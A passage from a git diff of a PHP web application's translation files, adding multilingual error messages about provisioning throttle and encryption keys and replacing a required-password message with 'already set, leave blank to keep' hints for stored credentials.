ڕێگەپێدانت نییە بۆ دەستگەیشتن بەو مۆدیولەی کە ناوی لێنراوە', + 'unable_to_create_env_file' => 'نەتوانرا {filePath} دروست بکرێت بۆ دابینکردنی throttle.key', + 'unable_to_lock_file' => 'نەتوانرا {filePath} قوفڵ بکرێت: {reason}', + 'unable_to_open_lock_file' => 'نەتوانرا {filePath} کرایەوە: {reason}', + 'unable_to_persist_throttle_key' => 'نەتوانرا throttle.key لە {filePath} پاشەکەوت بکرێت', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'نەتوانرا {filePath} بخوێنرێتەوە بۆ دابینکردنی throttle.key', + 'unknown' => 'هەڵەیەکی چاوەڕواننەکراو', ]; diff --git a/app/Language/cs/Config.php b/app/Language/cs/Config.php index ac8dccab2..8f92eae0e 100644 --- a/app/Language/cs/Config.php +++ b/app/Language/cs/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => '', 'msg_msg_placeholder' => '', 'msg_pwd' => '', - 'msg_pwd_required' => '', 'msg_src' => '', 'msg_src_required' => '', 'msg_uid' => '', diff --git a/app/Language/cs/Error.php b/app/Language/cs/Error.php index 64ebe1e41..8693db278 100644 --- a/app/Language/cs/Error.php +++ b/app/Language/cs/Error.php @@ -1,6 +1,14 @@ "", - "unknown" => "", + 'no_permission_module' => 'Nemáte oprávnění přistupovat k modulu s názvem', + 'unable_to_create_env_file' => 'Nelze vytvořit {filePath} pro zajištění throttle.key', + 'unable_to_lock_file' => 'Nelze uzamknout {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Nelze otevřít {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Nelze trvale uložit throttle.key do {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Nelze přečíst {filePath} pro zajištění throttle.key', + 'unknown' => 'Neočekávaná chyba', ]; diff --git a/app/Language/da/Config.php b/app/Language/da/Config.php index c4e13d716..4396893f8 100644 --- a/app/Language/da/Config.php +++ b/app/Language/da/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Saved Text Message', 'msg_msg_placeholder' => 'If you wish to use a SMS template save your message here, otherwise leave the box blank.', 'msg_pwd' => 'SMS-API Password', - 'msg_pwd_required' => 'SMS-API Password is a required field', 'msg_src' => 'SMS-API Sender ID', 'msg_src_required' => 'SMS-API Sender ID is a required field', 'msg_uid' => 'SMS-API Username', diff --git a/app/Language/da/Error.php b/app/Language/da/Error.php index ace67fbb1..04ce0fc09 100644 --- a/app/Language/da/Error.php +++ b/app/Language/da/Error.php @@ -1,6 +1,14 @@ "You do not have permission to access the module named", - "unknown" => "Unexpected error", + 'no_permission_module' => 'Du har ikke tilladelse til at tilgå det navngivne modul', + 'unable_to_create_env_file' => 'Kunne ikke oprette {filePath} for at klargøre throttle.key', + 'unable_to_lock_file' => 'Kunne ikke låse {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Kunne ikke åbne {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Kunne ikke gemme throttle.key i {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Kunne ikke læse {filePath} for at klargøre throttle.key', + 'unknown' => 'Uventet fejl', ]; diff --git a/app/Language/de-CH/Config.php b/app/Language/de-CH/Config.php index 81ed79c2d..f02abe48e 100644 --- a/app/Language/de-CH/Config.php +++ b/app/Language/de-CH/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Saved Text Message', 'msg_msg_placeholder' => 'If you wish to use a SMS template save your message here. Otherwise leave the box blank.', 'msg_pwd' => 'SMS-API Password', - 'msg_pwd_required' => 'SMS-API Password is a required field', 'msg_src' => 'SMS-API Sender ID', 'msg_src_required' => 'SMS-API Sender ID is a required field', 'msg_uid' => 'SMS-API Username', diff --git a/app/Language/de-CH/Error.php b/app/Language/de-CH/Error.php index 23b161b63..60b048711 100644 --- a/app/Language/de-CH/Error.php +++ b/app/Language/de-CH/Error.php @@ -1,6 +1,14 @@ "Sie haben nicht die Zugangsrechte für das gewählte Modul", - "unknown" => "Unbekannter Fehler", + 'no_permission_module' => 'Sie haben nicht die Zugangsrechte für das gewählte Modul', + 'unable_to_create_env_file' => '{filePath} konnte nicht erstellt werden, um throttle.key bereitzustellen', + 'unable_to_lock_file' => '{filePath} konnte nicht gesperrt werden: {reason}', + 'unable_to_open_lock_file' => '{filePath} konnte nicht geöffnet werden: {reason}', + 'unable_to_persist_throttle_key' => 'throttle.key konnte nicht in {filePath} gespeichert werden', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => '{filePath} konnte nicht gelesen werden, um throttle.key bereitzustellen', + 'unknown' => 'Unbekannter Fehler', ]; diff --git a/app/Language/de-DE/Config.php b/app/Language/de-DE/Config.php index bf5514ef7..b4effff6e 100644 --- a/app/Language/de-DE/Config.php +++ b/app/Language/de-DE/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Gespeicherte Nachricht', 'msg_msg_placeholder' => 'Wenn Sie eine SMS Vorlage benutzen wollen, geben Sie diese hier ein, ansonsten lassen Sie dieses Feld frei.', 'msg_pwd' => 'SMS-API Passwort', - 'msg_pwd_required' => 'SMS-API Passwort ist ein Pflichtfeld', 'msg_src' => 'SMS-API Sender ID', 'msg_src_required' => 'SMS-API Sender ID ist ein Pflichtfeld', 'msg_uid' => 'SMS-API Benutzername', diff --git a/app/Language/de-DE/Error.php b/app/Language/de-DE/Error.php index 23b161b63..60b048711 100644 --- a/app/Language/de-DE/Error.php +++ b/app/Language/de-DE/Error.php @@ -1,6 +1,14 @@ "Sie haben nicht die Zugangsrechte für das gewählte Modul", - "unknown" => "Unbekannter Fehler", + 'no_permission_module' => 'Sie haben nicht die Zugangsrechte für das gewählte Modul', + 'unable_to_create_env_file' => '{filePath} konnte nicht erstellt werden, um throttle.key bereitzustellen', + 'unable_to_lock_file' => '{filePath} konnte nicht gesperrt werden: {reason}', + 'unable_to_open_lock_file' => '{filePath} konnte nicht geöffnet werden: {reason}', + 'unable_to_persist_throttle_key' => 'throttle.key konnte nicht in {filePath} gespeichert werden', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => '{filePath} konnte nicht gelesen werden, um throttle.key bereitzustellen', + 'unknown' => 'Unbekannter Fehler', ]; diff --git a/app/Language/el/Config.php b/app/Language/el/Config.php index fbeb5f84d..d102694e0 100644 --- a/app/Language/el/Config.php +++ b/app/Language/el/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => '', 'msg_msg_placeholder' => '', 'msg_pwd' => '', - 'msg_pwd_required' => '', 'msg_src' => '', 'msg_src_required' => '', 'msg_uid' => '', diff --git a/app/Language/el/Error.php b/app/Language/el/Error.php index 64ebe1e41..4c81a6274 100644 --- a/app/Language/el/Error.php +++ b/app/Language/el/Error.php @@ -1,6 +1,14 @@ "", - "unknown" => "", + 'no_permission_module' => 'Δεν έχετε δικαίωμα πρόσβασης στη μονάδα με το όνομα', + 'unable_to_create_env_file' => 'Δεν ήταν δυνατή η δημιουργία του {filePath} για την παροχή του throttle.key', + 'unable_to_lock_file' => 'Δεν ήταν δυνατό το κλείδωμα του {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Δεν ήταν δυνατό το άνοιγμα του {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Δεν ήταν δυνατή η αποθήκευση του throttle.key στο {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Δεν ήταν δυνατή η ανάγνωση του {filePath} για την παροχή του throttle.key', + 'unknown' => 'Μη αναμενόμενο σφάλμα', ]; diff --git a/app/Language/en-GB/Config.php b/app/Language/en-GB/Config.php index 15abce4e7..8a24b671d 100644 --- a/app/Language/en-GB/Config.php +++ b/app/Language/en-GB/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Saved Text Message', 'msg_msg_placeholder' => 'If you wish to use a SMS template save your message here. Otherwise leave the box blank.', 'msg_pwd' => 'SMS-API Password', - 'msg_pwd_required' => 'SMS-API Password is a required field', 'msg_src' => 'SMS-API Sender ID', 'msg_src_required' => 'SMS-API Sender ID is a required field', 'msg_uid' => 'SMS-API Username', diff --git a/app/Language/en-GB/Error.php b/app/Language/en-GB/Error.php index e2e744336..29f0ba2f6 100644 --- a/app/Language/en-GB/Error.php +++ b/app/Language/en-GB/Error.php @@ -1,6 +1,14 @@ "You do not have the permission to access the module named", - "unknown" => "Unexpected error", + 'no_permission_module' => 'You do not have the permission to access the module named', + 'unable_to_create_env_file' => 'Unable to create {filePath} to provision an environment key', + 'unable_to_lock_file' => 'Unable to lock {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Unable to open {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Unable to persist throttle.key to {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Unable to read {filePath} to provision an environment key', + 'unknown' => 'Unexpected error', ]; diff --git a/app/Language/en/Config.php b/app/Language/en/Config.php index ae2c074b8..01c7c7c0c 100644 --- a/app/Language/en/Config.php +++ b/app/Language/en/Config.php @@ -119,6 +119,7 @@ return [ 'email_smtp_crypto' => 'SMTP Encryption', 'email_smtp_host' => 'SMTP Server', 'email_smtp_pass' => 'SMTP Password', + 'email_smtp_pass_set' => 'Already set — leave blank to keep', 'email_smtp_port' => 'SMTP Port', 'email_smtp_timeout' => 'SMTP Timeout (s)', 'email_smtp_user' => 'SMTP Username', @@ -200,6 +201,7 @@ return [ 'logout' => 'Do you want to make a backup before logging out? Click [OK] to backup or [Cancel] to logout.', 'mailchimp' => 'MailChimp', 'mailchimp_api_key' => 'MailChimp API Key', + 'mailchimp_api_key_set' => 'Already set — leave blank to keep', 'mailchimp_configuration' => 'MailChimp Configuration', 'mailchimp_key_successfully' => 'API Key is valid.', 'mailchimp_key_unsuccessfully' => 'API Key is invalid.', @@ -210,7 +212,7 @@ return [ 'msg_msg' => 'Saved Text Message', 'msg_msg_placeholder' => 'If you wish to use a SMS template save your message here, otherwise leave the box blank.', 'msg_pwd' => 'SMS-API Password', - 'msg_pwd_required' => 'SMS-API Password is a required field', + 'msg_pwd_set' => 'Already set — leave blank to keep', 'msg_src' => 'SMS-API Sender ID', 'msg_src_required' => 'SMS-API Sender ID is a required field', 'msg_uid' => 'SMS-API Username', diff --git a/app/Language/en/Error.php b/app/Language/en/Error.php index ace67fbb1..930f88425 100644 --- a/app/Language/en/Error.php +++ b/app/Language/en/Error.php @@ -1,6 +1,14 @@ "You do not have permission to access the module named", - "unknown" => "Unexpected error", + 'no_permission_module' => 'You do not have permission to access the module named', + 'unable_to_create_env_file' => 'Unable to create {filePath} to provision an environment key', + 'unable_to_lock_file' => 'Unable to lock {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Unable to open {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Unable to persist throttle.key to {filePath}', + 'unable_to_persist_encryption_key' => 'Unable to persist the encryption key to {filePath}', + 'encryption_key_not_provisioned' => 'No encryption key is provisioned. Run `php spark env:provision` before continuing.', + 'throttle_key_not_provisioned' => 'No throttle key is provisioned. Run `php spark env:provision` before continuing.', + 'unable_to_read_env_file' => 'Unable to read {filePath} to provision an environment key', + 'unknown' => 'Unexpected error', ]; diff --git a/app/Language/es-ES/Config.php b/app/Language/es-ES/Config.php index 9209e5e78..eddd74b55 100644 --- a/app/Language/es-ES/Config.php +++ b/app/Language/es-ES/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Texto del mensaje guardado', 'msg_msg_placeholder' => 'Si desea usar un formato de SMS guarde su mensaje aquí, en caso contrario deje en blanco.', 'msg_pwd' => 'SMS-API Password', - 'msg_pwd_required' => 'SMS-API Password es un campo requerido', 'msg_src' => 'SMS-API ID remitente', 'msg_src_required' => 'SMS-API ID remitente es un campo requerido', 'msg_uid' => 'SMS-API Usuario', diff --git a/app/Language/es-ES/Error.php b/app/Language/es-ES/Error.php index 7c7e21487..aa16e6303 100644 --- a/app/Language/es-ES/Error.php +++ b/app/Language/es-ES/Error.php @@ -1,6 +1,14 @@ "No tienes permiso para accesar el módulo llamado", - "unknown" => "desconocido", + 'no_permission_module' => 'No tienes permiso para accesar el módulo llamado', + 'unable_to_create_env_file' => 'No se pudo crear {filePath} para aprovisionar throttle.key', + 'unable_to_lock_file' => 'No se pudo bloquear {filePath}: {reason}', + 'unable_to_open_lock_file' => 'No se pudo abrir {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'No se pudo guardar throttle.key en {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'No se pudo leer {filePath} para aprovisionar throttle.key', + 'unknown' => 'desconocido', ]; diff --git a/app/Language/es-MX/Config.php b/app/Language/es-MX/Config.php index 355fbd8df..d3f4a69f9 100644 --- a/app/Language/es-MX/Config.php +++ b/app/Language/es-MX/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Saved Text Message', 'msg_msg_placeholder' => 'If you wish to use a SMS template save your message here, otherwise leave the box blank.', 'msg_pwd' => 'SMS-API Password', - 'msg_pwd_required' => 'SMS-API Password is a required field', 'msg_src' => 'SMS-API Sender ID', 'msg_src_required' => 'SMS-API Sender ID is a required field', 'msg_uid' => 'SMS-API Username', diff --git a/app/Language/es-MX/Error.php b/app/Language/es-MX/Error.php index c93630786..c477ea08e 100644 --- a/app/Language/es-MX/Error.php +++ b/app/Language/es-MX/Error.php @@ -1,6 +1,14 @@ "No tienes permiso para acceder el módulo llamado", - "unknown" => "Error inesperado", + 'no_permission_module' => 'No tienes permiso para acceder el módulo llamado', + 'unable_to_create_env_file' => 'No se pudo crear {filePath} para aprovisionar throttle.key', + 'unable_to_lock_file' => 'No se pudo bloquear {filePath}: {reason}', + 'unable_to_open_lock_file' => 'No se pudo abrir {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'No se pudo guardar throttle.key en {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'No se pudo leer {filePath} para aprovisionar throttle.key', + 'unknown' => 'Error inesperado', ]; diff --git a/app/Language/fa/Config.php b/app/Language/fa/Config.php index db0199c11..fbc1a4bf1 100644 --- a/app/Language/fa/Config.php +++ b/app/Language/fa/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'پیام متنی ذخیره شده', 'msg_msg_placeholder' => 'اگر می خواهید از یک پیام کوتاه استفاده کنید ، پیام خود را در اینجا ذخیره کنید ، در غیر این صورت جعبه را خالی بگذارید.', 'msg_pwd' => 'گذرواژه SMS-API', - 'msg_pwd_required' => 'گذرواژه ای‌پی‌آی اس‌ام‌اس یک فیلد ضروری است', 'msg_src' => 'شناسه فرستنده ای‌پی‌آی اس‌ام‌اس ', 'msg_src_required' => 'شناسه فرستنده ای‌پی‌آی اس‌ام‌اس یک زمینه ضروری است', 'msg_uid' => 'نام کاربری ای‌پی‌آی اس‌ام‌اس ', diff --git a/app/Language/fa/Error.php b/app/Language/fa/Error.php index 518640451..d3ce1666e 100644 --- a/app/Language/fa/Error.php +++ b/app/Language/fa/Error.php @@ -1,6 +1,14 @@ "شما اجازه دسترسی به ماژول به نام خود را ندارید", - "unknown" => "خطای غیر منتظره", + 'no_permission_module' => 'شما اجازه دسترسی به ماژول به نام خود را ندارید', + 'unable_to_create_env_file' => 'ایجاد {filePath} برای آماده‌سازی throttle.key ممکن نشد', + 'unable_to_lock_file' => 'قفل کردن {filePath} ممکن نشد: {reason}', + 'unable_to_open_lock_file' => 'باز کردن {filePath} ممکن نشد: {reason}', + 'unable_to_persist_throttle_key' => 'ذخیره throttle.key در {filePath} ممکن نشد', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'خواندن {filePath} برای آماده‌سازی throttle.key ممکن نشد', + 'unknown' => 'خطای غیر منتظره', ]; diff --git a/app/Language/fr/Config.php b/app/Language/fr/Config.php index f945c3c75..d5502712d 100644 --- a/app/Language/fr/Config.php +++ b/app/Language/fr/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Message texte enregistré', 'msg_msg_placeholder' => 'Si vous souhaitez utiliser un modèle de SMS, enregistrez votre message ici. Sinon, laisser la boîte en blanc.', 'msg_pwd' => 'SMS-API Password', - 'msg_pwd_required' => 'SMS-API Password est un champ obligatoire', 'msg_src' => "ID de l'expéditeur de SMS-API", 'msg_src_required' => "L'ID de l'expéditeur de SMS-API est un champ obligatoire", 'msg_uid' => "Nom d'utilisateur de l'API SMS", diff --git a/app/Language/fr/Error.php b/app/Language/fr/Error.php index 687d5f2f7..68ef77cb8 100644 --- a/app/Language/fr/Error.php +++ b/app/Language/fr/Error.php @@ -1,6 +1,14 @@ "Vous n'avez pas d'autorisation d'accès pour le module", - "unknown" => "inconnu", + 'no_permission_module' => 'Vous n\'avez pas d\'autorisation d\'accès pour le module', + 'unable_to_create_env_file' => 'Impossible de créer {filePath} pour provisionner throttle.key', + 'unable_to_lock_file' => 'Impossible de verrouiller {filePath} : {reason}', + 'unable_to_open_lock_file' => 'Impossible d\'ouvrir {filePath} : {reason}', + 'unable_to_persist_throttle_key' => 'Impossible d\'enregistrer throttle.key dans {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Impossible de lire {filePath} pour provisionner throttle.key', + 'unknown' => 'inconnu', ]; diff --git a/app/Language/he/Config.php b/app/Language/he/Config.php index 6d0116929..b98c2c9c5 100644 --- a/app/Language/he/Config.php +++ b/app/Language/he/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'הודעת טקסט שמורה', 'msg_msg_placeholder' => 'אם ברצונך להשתמש בתבנית הודעה שמור את ההודעה שלך כאן, אחרת השאר את התיבה ריקה.', 'msg_pwd' => 'סיסמה של SMS-API', - 'msg_pwd_required' => 'סיסמה של SMS-API הינו שדה חובה', 'msg_src' => 'מזהה שולח SMS-API', 'msg_src_required' => 'מזהה שולח SMS-API הינו שדה חובה', 'msg_uid' => 'שם משתמש של SMS-API', diff --git a/app/Language/he/Error.php b/app/Language/he/Error.php index a6c9f59d6..65f5b97f5 100644 --- a/app/Language/he/Error.php +++ b/app/Language/he/Error.php @@ -1,6 +1,14 @@ "אין לך הרשאה לגשת אל המודול ששמו", - "unknown" => "שגיאה לא ידועה", + 'no_permission_module' => 'אין לך הרשאה לגשת אל המודול ששמו', + 'unable_to_create_env_file' => 'לא ניתן ליצור את {filePath} כדי להגדיר את throttle.key', + 'unable_to_lock_file' => 'לא ניתן לנעול את {filePath}: {reason}', + 'unable_to_open_lock_file' => 'לא ניתן לפתוח את {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'לא ניתן לשמור את throttle.key בקובץ {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'לא ניתן לקרוא את {filePath} כדי להגדיר את throttle.key', + 'unknown' => 'שגיאה לא ידועה', ]; diff --git a/app/Language/hr-HR/Config.php b/app/Language/hr-HR/Config.php index acf98ab60..5cd2ee098 100644 --- a/app/Language/hr-HR/Config.php +++ b/app/Language/hr-HR/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Saved Text Message', 'msg_msg_placeholder' => 'If you wish to use a SMS template save your message here. Otherwise leave the box blank.', 'msg_pwd' => 'SMS-API Password', - 'msg_pwd_required' => 'SMS-API Password is a required field', 'msg_src' => 'SMS-API Sender ID', 'msg_src_required' => 'SMS-API Sender ID is a required field', 'msg_uid' => 'SMS-API Username', diff --git a/app/Language/hr-HR/Error.php b/app/Language/hr-HR/Error.php index 8cd38c12d..7485cce0d 100644 --- a/app/Language/hr-HR/Error.php +++ b/app/Language/hr-HR/Error.php @@ -1,6 +1,14 @@ "Nemate dozvolu za pristup modulu", - "unknown" => "ismeretlen", + 'no_permission_module' => 'Nemate dozvolu za pristup modulu', + 'unable_to_create_env_file' => 'Nije moguće izraditi {filePath} za postavljanje throttle.key', + 'unable_to_lock_file' => 'Nije moguće zaključati {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Nije moguće otvoriti {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Nije moguće trajno spremiti throttle.key u {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Nije moguće pročitati {filePath} za postavljanje throttle.key', + 'unknown' => 'Neočekivana pogreška', ]; diff --git a/app/Language/hu/Config.php b/app/Language/hu/Config.php index da4bcf65c..384557376 100644 --- a/app/Language/hu/Config.php +++ b/app/Language/hu/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Mentett text üzenet', 'msg_msg_placeholder' => 'Ha SMS alapot kíván használni ide írja. Egyébként hagyja üresen a mezőt.', 'msg_pwd' => 'SMS-API Jelszó', - 'msg_pwd_required' => 'SMS-API jelszó kötelező mező', 'msg_src' => 'SMS-API Küldö ID', 'msg_src_required' => 'SMS-API Sender ID is a required field', 'msg_uid' => 'SMS-API Felhasználó', diff --git a/app/Language/hu/Error.php b/app/Language/hu/Error.php index 49b193503..733dc71dd 100644 --- a/app/Language/hu/Error.php +++ b/app/Language/hu/Error.php @@ -1,6 +1,14 @@ "Önnek nincs hozzáférése az alábbi modulhoz ", - "unknown" => "ismeretlen", + 'no_permission_module' => 'Önnek nincs hozzáférése az alábbi modulhoz ', + 'unable_to_create_env_file' => 'Nem sikerült létrehozni a(z) {filePath} fájlt a throttle.key beállításához', + 'unable_to_lock_file' => 'Nem sikerült zárolni a(z) {filePath} fájlt: {reason}', + 'unable_to_open_lock_file' => 'Nem sikerült megnyitni a(z) {filePath} fájlt: {reason}', + 'unable_to_persist_throttle_key' => 'Nem sikerült elmenteni a throttle.key kulcsot a(z) {filePath} fájlba', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Nem sikerült beolvasni a(z) {filePath} fájlt a throttle.key beállításához', + 'unknown' => 'ismeretlen', ]; diff --git a/app/Language/hy/Config.php b/app/Language/hy/Config.php index 3be509699..2cc22ade7 100644 --- a/app/Language/hy/Config.php +++ b/app/Language/hy/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => '', 'msg_msg_placeholder' => '', 'msg_pwd' => '', - 'msg_pwd_required' => '', 'msg_src' => '', 'msg_src_required' => '', 'msg_uid' => '', diff --git a/app/Language/hy/Error.php b/app/Language/hy/Error.php index 64ebe1e41..da0821306 100644 --- a/app/Language/hy/Error.php +++ b/app/Language/hy/Error.php @@ -1,6 +1,14 @@ "", - "unknown" => "", + 'no_permission_module' => 'Ձեզ չի թույլատրվում մուտք գործել այս անունով մոդուլ', + 'unable_to_create_env_file' => 'Հնարավոր չէ ստեղծել {filePath} ֆայլը՝ throttle.key-ը կարգավորելու համար', + 'unable_to_lock_file' => 'Հնարավոր չէ արգելափակել {filePath} ֆայլը՝ {reason}', + 'unable_to_open_lock_file' => 'Հնարավոր չէ բացել {filePath} ֆայլը՝ {reason}', + 'unable_to_persist_throttle_key' => 'Հնարավոր չէ պահպանել throttle.key-ը {filePath} ֆայլում', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Հնարավոր չէ կարդալ {filePath} ֆայլը՝ throttle.key-ը կարգավորելու համար', + 'unknown' => 'Անսպասելի սխալ', ]; diff --git a/app/Language/id/Config.php b/app/Language/id/Config.php index da36135f3..c59d4c44e 100644 --- a/app/Language/id/Config.php +++ b/app/Language/id/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Pesan teks tersimpan', 'msg_msg_placeholder' => 'Apakah Anda ingin menggunakan template SMS menyimpan pesan Anda disini? Jika tidak, biarkan kosong.', 'msg_pwd' => 'SMS-API Password', - 'msg_pwd_required' => 'SMS-API Password harus diisi', 'msg_src' => 'ID pengirim SMS-API', 'msg_src_required' => 'SMS-API Sender ID harus diisi', 'msg_uid' => 'SMS-API User Name', diff --git a/app/Language/id/Error.php b/app/Language/id/Error.php index 54a3924d9..aeea78f34 100644 --- a/app/Language/id/Error.php +++ b/app/Language/id/Error.php @@ -1,6 +1,14 @@ "Anda tidak memiliki izin untuk mengakses modul ini", - "unknown" => "tidak dikenal", + 'no_permission_module' => 'Anda tidak memiliki izin untuk mengakses modul ini', + 'unable_to_create_env_file' => 'Tidak dapat membuat {filePath} untuk menyediakan throttle.key', + 'unable_to_lock_file' => 'Tidak dapat mengunci {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Tidak dapat membuka {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Tidak dapat menyimpan throttle.key ke {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Tidak dapat membaca {filePath} untuk menyediakan throttle.key', + 'unknown' => 'tidak dikenal', ]; diff --git a/app/Language/it/Config.php b/app/Language/it/Config.php index 7d3a25508..e5cce9eec 100644 --- a/app/Language/it/Config.php +++ b/app/Language/it/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Testo Messaggio Salvato', 'msg_msg_placeholder' => 'Se vuoi utilizzare un template SMS, salva il tuo messaggio qui o lascia il campo in bianco.', 'msg_pwd' => 'SMS-API Password', - 'msg_pwd_required' => 'SMS-API Password è un campo obbligatorio', 'msg_src' => 'SMS-API Sender ID', 'msg_src_required' => 'SMS-API Sender ID è un campo obbligatorio', 'msg_uid' => 'SMS-API Username', diff --git a/app/Language/it/Error.php b/app/Language/it/Error.php index 0e9f47f80..af07d014a 100644 --- a/app/Language/it/Error.php +++ b/app/Language/it/Error.php @@ -1,6 +1,14 @@ "Non hai l'autorizzazione per accedere al modulo denominato", - "unknown" => "Errore sconosciuto", + 'no_permission_module' => 'Non hai l\'autorizzazione per accedere al modulo denominato', + 'unable_to_create_env_file' => 'Impossibile creare {filePath} per configurare throttle.key', + 'unable_to_lock_file' => 'Impossibile bloccare {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Impossibile aprire {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Impossibile salvare throttle.key in {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Impossibile leggere {filePath} per configurare throttle.key', + 'unknown' => 'Errore sconosciuto', ]; diff --git a/app/Language/ka/Config.php b/app/Language/ka/Config.php index 0c547ff80..bf874f7fe 100644 --- a/app/Language/ka/Config.php +++ b/app/Language/ka/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => '', 'msg_msg_placeholder' => '', 'msg_pwd' => '', - 'msg_pwd_required' => '', 'msg_src' => '', 'msg_src_required' => '', 'msg_uid' => '', diff --git a/app/Language/km/Config.php b/app/Language/km/Config.php index 3da64dcfc..7bdac6fda 100644 --- a/app/Language/km/Config.php +++ b/app/Language/km/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => '', 'msg_msg_placeholder' => '', 'msg_pwd' => '', - 'msg_pwd_required' => '', 'msg_src' => '', 'msg_src_required' => '', 'msg_uid' => '', diff --git a/app/Language/km/Error.php b/app/Language/km/Error.php index 4842a3ac9..95500ad28 100644 --- a/app/Language/km/Error.php +++ b/app/Language/km/Error.php @@ -1,6 +1,14 @@ "អ្នកមិនមានសិទ្ធដើម្បីចូលទៅ ផ្នែកនោះទេ", - "unknown" => "កំហុសមិនស្គាល់", + 'no_permission_module' => 'អ្នកមិនមានសិទ្ធដើម្បីចូលទៅ ផ្នែកនោះទេ', + 'unable_to_create_env_file' => 'មិនអាចបង្កើត {filePath} ដើម្បីរៀបចំ throttle.key', + 'unable_to_lock_file' => 'មិនអាចចាក់សោ {filePath}: {reason}', + 'unable_to_open_lock_file' => 'មិនអាចបើក {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'មិនអាចរក្សាទុក throttle.key ទៅ {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'មិនអាចអាន {filePath} ដើម្បីរៀបចំ throttle.key', + 'unknown' => 'កំហុសមិនស្គាល់', ]; diff --git a/app/Language/lo/Config.php b/app/Language/lo/Config.php index 3b4669217..72a09feb2 100644 --- a/app/Language/lo/Config.php +++ b/app/Language/lo/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Saved Text Message', 'msg_msg_placeholder' => 'If you wish to use a SMS template save your message here, otherwise leave the box blank.', 'msg_pwd' => 'SMS-API Password', - 'msg_pwd_required' => 'SMS-API Password is a required field', 'msg_src' => 'SMS-API Sender ID', 'msg_src_required' => 'SMS-API Sender ID is a required field', 'msg_uid' => 'SMS-API Username', diff --git a/app/Language/lo/Error.php 